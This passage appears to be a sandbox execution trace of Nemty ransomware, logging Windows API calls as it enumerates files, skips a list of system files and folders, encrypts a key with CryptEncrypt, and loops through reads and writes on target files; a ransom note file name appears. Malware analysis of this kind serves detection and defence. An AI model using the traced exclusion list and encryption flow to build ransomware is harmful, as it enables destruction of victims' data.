ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf3aee250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3aee250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0107.562] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0107.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0107.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0107.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.562] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46672035, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x46672035, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x449faf50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5bc00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0107.562] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".") returned 1 [0107.562] lstrcmpiW (lpString1="TableTextService.dll", lpString2="..") returned 1 [0107.562] lstrcmpiW (lpString1="TableTextService.dll", lpString2="...") returned 1 [0107.562] lstrcmpiW (lpString1="TableTextService.dll", lpString2="windows") returned -1 [0107.562] lstrcmpiW (lpString1="TableTextService.dll", lpString2="$RECYCLE.BIN") returned 1 [0107.562] lstrcmpiW (lpString1="TableTextService.dll", lpString2="rsa") returned 1 [0107.562] lstrcmpiW (lpString1="TableTextService.dll", lpString2="NTDETECT.COM") returned 1 [0107.562] lstrcmpiW (lpString1="TableTextService.dll", lpString2="ntldr") returned 1 [0107.562] lstrcmpiW (lpString1="TableTextService.dll", lpString2="MSDOS.SYS") returned 1 [0107.562] lstrcmpiW (lpString1="TableTextService.dll", lpString2="IO.SYS") returned 1 [0107.562] lstrcmpiW (lpString1="TableTextService.dll", lpString2="boot.ini") returned 1 [0107.563] lstrcmpiW (lpString1="TableTextService.dll", lpString2="boot.ini") returned 1 [0107.563] lstrcmpiW (lpString1="TableTextService.dll", lpString2="AUTOEXEC.BAT") returned 1 [0107.563] lstrcmpiW (lpString1="TableTextService.dll", lpString2="ntuser.dat") returned 1 [0107.563] lstrcmpiW (lpString1="TableTextService.dll", lpString2="desktop.ini") returned 1 [0107.563] lstrcmpiW (lpString1="TableTextService.dll", lpString2="CONFIG.SYS") returned 1 [0107.563] lstrcmpiW (lpString1="TableTextService.dll", lpString2="RECYCLER") returned 1 [0107.563] lstrcmpiW (lpString1="TableTextService.dll", lpString2="BOOTSECT.BAK") returned 1 [0107.563] lstrcmpiW (lpString1="TableTextService.dll", lpString2="bootmgr") returned 1 [0107.563] lstrcmpiW (lpString1="TableTextService.dll", lpString2="programdata") returned 1 [0107.563] lstrcmpiW (lpString1="TableTextService.dll", lpString2="appdata") returned 1 [0107.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0107.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextService.dll", lpUsedDefaultChar=0x0) returned 20 [0107.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0107.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0107.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextService.dll", lpUsedDefaultChar=0x0) returned 20 [0107.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0107.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0107.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextService.dll", lpUsedDefaultChar=0x0) returned 20 [0107.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0107.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextService.dll", lpUsedDefaultChar=0x0) returned 20 [0107.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0107.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0107.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.564] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d933d2, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d933d2, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x6e10ff3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3f54, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="..") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="...") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="windows") returned -1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="$RECYCLE.BIN") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="rsa") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="NTDETECT.COM") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="ntldr") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="MSDOS.SYS") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="IO.SYS") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="boot.ini") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="boot.ini") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="AUTOEXEC.BAT") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="ntuser.dat") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="desktop.ini") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="CONFIG.SYS") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="RECYCLER") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="BOOTSECT.BAK") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="bootmgr") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="programdata") returned 1 [0107.564] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="appdata") returned 1 [0107.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceAmharic.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceAmharic.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceAmharic.txt", lpUsedDefaultChar=0x0) returned 27 [0107.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0107.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceAmharic.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceAmharic.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceAmharic.txt", lpUsedDefaultChar=0x0) returned 27 [0107.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0107.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceAmharic.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceAmharic.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceAmharic.txt", lpUsedDefaultChar=0x0) returned 27 [0107.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceAmharic.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextServiceAmharic.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextServiceAmharic.txt", lpUsedDefaultChar=0x0) returned 27 [0107.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0107.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0107.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0107.565] Sleep (dwMilliseconds=0x5) [0107.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf3c44eb0, dwHighDateTime=0x1d561e7)) [0107.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf3c44eb0, dwHighDateTime=0x1d561e7)) [0107.575] GetLastError () returned 0x12 [0107.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.575] GetLastError () returned 0x12 [0107.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0107.576] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0107.576] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0107.576] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0107.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941d8 [0107.576] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941d8, pcchString=0x653ef9c | out: pszString="SYrlDl8LBZPGFKfiyq1faWZ5y28tolmTaRWRW/aZeTA0EKa8v5T0LksWqPF7pERm\r\nSYOSGc2f4mRiGAy2IA1oxXy88VjotiUKkutQeFY3aSQyEXUSze3CqDiovEE0se1M\r\nS+7K+vSc4eFMIf4Oow5valc/UN7Vrf1+9wWt+TR1nNXFckQdJUlNwWpxMSPVM8Y4\r\n6IZ0FMGNuCTsRSF6xnV7htGHXPWkzu3FDbfrRWK8zN68yNkgDKHKBitHOGLBPNu/\r\nLX9HFUGMGzndaeRKkGoQcTX/2sIORzSICJny1v0OS5Ot9LlH5X91P6jDoy819KO+\r\nwei+opbC2q3WQSgCp/aZsQ==\r\n", pcchString=0x653ef9c) returned 1 [0107.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0107.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0107.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0107.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0107.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941d8 [0107.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0107.576] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceamharic.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.576] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0107.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0107.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.652] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.671] SetFilePointer (in: hFile=0xffffffff, 